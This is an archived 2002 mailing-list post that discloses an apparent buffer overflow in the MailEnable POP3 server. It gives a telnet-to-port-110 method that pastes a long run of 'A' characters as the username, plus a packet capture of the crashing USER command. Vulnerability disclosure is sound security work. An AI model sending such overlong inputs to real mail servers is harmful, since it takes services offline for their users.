Remote service shutdown in mailenable (newest)

From: Ketil Braun Larsen (htx01i12@it-college.dk)
Date: Mon Nov 18 2002 - 09:28:08 PST

  • Next message: Ketil Braun Larsen: "Re: Remote service shutdown in mailenable (newest) Follow up"

    
     ('binary' encoding is not supported, stored as-is)
    My first post, please bare with me.)
    
    -/\-About.-/\-
    
    I found this problem auditing a webserver, its a standart bufferoverflow i 
    guess,
    
    but i am not sure how to find all the technical information but if anyone 
    knows what to do i whould
    
    like to know, if some one have the time to send a brief mail or somthing :)
    
     
    
     
    
     
    
     
    
     
    
     
    
    -/\-Method-/\-
    
     
    
    #telnet xxx.xxx.xxx.xxx 110
    
     
    
    (clear screen)
    
    +OK Welcome to MailEnable POP3 Server
    
     
    
    (then copy and paste this- 
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - and paste it to the 
    terminal)
    
     
    
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
     
    
     
    
     
    
     
    
    -/\-Packet Capture-/\-
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:27:765
    
    0000: 00 00 1C 00 E1 6C 00 04 75 9C 26 42 08 00 45 00 .....l..u.&B..E.
    
    0010: 00 30 6C E2 00 00 80 06 5C DB D9 3D DF 70 D9 3D .0l.....\..=.p.=
    
    0020: DF 1E 0B 79 00 6E 00 4F F5 99 00 00 00 00 70 02 ...y.n.O......p.
    
    0030: FA F0 15 54 00 00 02 04 05 B4 01 01 04 02       ...T..........
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:27:765
    
    0000: 00 04 75 9C 26 42 00 00 1C 00 E1 6C 08 00 45 00 ..u.&B.....l..E.
    
    0010: 00 30 E3 8B 00 00 80 06 E6 31 D9 3D DF 1E D9 3D .0.......1.=...=
    
    0020: DF 70 00 6E 0B 79 3B 17 72 47 00 4F F5 9A 70 12 .p.n.y;.rG.O..p.
    
    0030: 44 70 1E 65 00 00 02 04 05 B4 01 01 04 02       Dp.e..........
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:27:795
    
    0000: 00 04 75 9C 26 42 00 00 1C 00 E1 6C 08 00 45 00 ..u.&B.....l..E.
    
    0010: 00 4F E3 8F 00 00 80 06 E6 0E D9 3D DF 1E D9 3D .O.........=...=
    
    0020: DF 70 00 6E 0B 79 3B 17 72 48 00 4F F5 9A 50 18 .p.n.y;.rH.O..P.
    
    0030: 44 70 8B 1F 00 00 2B 4F 4B 20 57 65 6C 63 6F 6D Dp....+OK Welcom
    
    0040: 65 20 74 6F 20 4D 61 69 6C 45 6E 61 62 6C 65 20 e to MailEnable 
    
    0050: 50 4F 50 33 20 53 65 72 76 65 72 0D 0A          POP3 Server..
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:27:775
    
    0000: 00 00 1C 00 E1 6C 00 04 75 9C 26 42 08 00 45 00 .....l..u.&B..E.
    
    0010: 00 28 6C E4 00 00 80 06 5C E1 D9 3D DF 70 D9 3D .(l.....\..=.p.=
    
    0020: DF 1E 0B 79 00 6E 00 4F F5 9A 3B 17 72 48 50 10 ...y.n.O..;.rHP.
    
    0030: FA F0 94 A8 00 00                               ......
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:27:945
    
    0000: 00 00 1C 00 E1 6C 00 04 75 9C 26 42 08 00 45 00 .....l..u.&B..E.
    
    0010: 00 28 6C F2 00 00 80 06 5C D3 D9 3D DF 70 D9 3D .(l.....\..=.p.=
    
    0020: DF 1E 0B 79 00 6E 00 4F F5 9A 3B 17 72 6F 50 10 ...y.n.O..;.roP.
    
    0030: FA C9 94 A8 00 00                               ......
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:28:276
    
    0000: 00 00 1C 00 E1 6C 00 04 75 9C 26 42 08 00 45 00 .....l..u.&B..E.
    
    0010: 02 22 6D 07 00 00 80 06 5A C4 D9 3D DF 70 D9 3D ."m.....Z..=.p.=
    
    0020: DF 1E 0B 79 00 6E 00 4F F5 9A 3B 17 72 6F 50 18 ...y.n.O..;.roP.
    
    0030: FA C9 1E 3D 00 00 55 53 45 52 20 41 41 41 41 41 ...=..USER AAAAA
    
    0040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00A0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00B0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00C0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00D0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00E0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    00F0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0100: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0110: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0120: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0130: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0140: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0150: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0160: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0170: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0180: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0190: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01A0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01B0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01C0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01D0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01E0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    01F0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0200: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0210: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
    
    0220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0A AAAAAAAAAAAAAAA.
    
    0230:                                                 
    
     
    
    xxx.xxx.xxx.112->xxx.xxx.xxx.30
    
    Time 19:49:33:003
    
    0000: 00 00 1C 00 E1 6C 00 04 75 9C 26 42 08 00 45 00 .....l..u.&B..E.
    
    0010: 00 28 6F 73 00 00 80 06 5A 52 D9 3D DF 70 D9 3D .(os....ZR.=.p.=
    
    0020: DF 1E 0B 79 00 6E 00 4F F7 94 3B 17 72 6F 50 11 ...y.n.O..;.roP.
    
    0030: FA C9 92 AD 00 00                               ......
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:28:466
    
    0000: 00 04 75 9C 26 42 00 00 1C 00 E1 6C 08 00 45 00 ..u.&B.....l..E.
    
    0010: 00 28 E3 BA 00 00 80 06 E6 0A D9 3D DF 1E D9 3D .(.........=...=
    
    0020: DF 70 00 6E 0B 79 3B 17 72 6F 00 4F F7 94 50 10 .p.n.y;.ro.O..P.
    
    0030: 42 76 4B 02 00 00 20 20 20 20 20 20             BvK...      
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:33:003
    
    0000: 00 04 75 9C 26 42 00 00 1C 00 E1 6C 08 00 45 00 ..u.&B.....l..E.
    
    0010: 00 28 E6 A0 00 00 80 06 E3 24 D9 3D DF 1E D9 3D .(.......$.=...=
    
    0020: DF 70 00 6E 0B 79 3B 17 72 6F 00 4F F7 95 50 10 .p.n.y;.ro.O..P.
    
    0030: 42 76 4B 01 00 00 20 20 20 20 20 20             BvK...      
    
     
    
    xxx.xxx.xxx.30->xxx.xxx.xxx.112
    
    Time 19:49:33:093
    
    0000: 00 04 75 9C 26 42 00 00 1C 00 E1 6C 08 00 45 00 ..u.&B.....l..E.
    
    0010: 00 28 E6 AD 00 00 80 06 E3 17 D9 3D DF 1E D9 3D .(.........=...=
    
    0020: DF 70 00 6E 0B 79 3B 17 72 6F EC A0 B4 24 50 04 .p.n.y;.ro...$P.
    
    0030: 00 00 E4 A2 00 00 20 20 20 20 20 20             ......      
    
    ______________________________________________________________________
    
     
    
     
    
    -/\-and so on-/\-
    
     
    
    So now you proplerly seen all the miss spellings and so on anyway, i hope 
    it wount cloud your mind to much.
    
     
    
     
    
     
    
     
    
    -/\-Me Me Me.-/\-
    
    Ketil Braun Larsen.
    
    www.nerds-united.com
    
    Edu.
    
    www.It-collge.dk
    
     
    
    "Guess that where to late huh?"
    



    This archive was generated by hypermail 2b30 : Mon Nov 18 2002 - 11:24:48 PST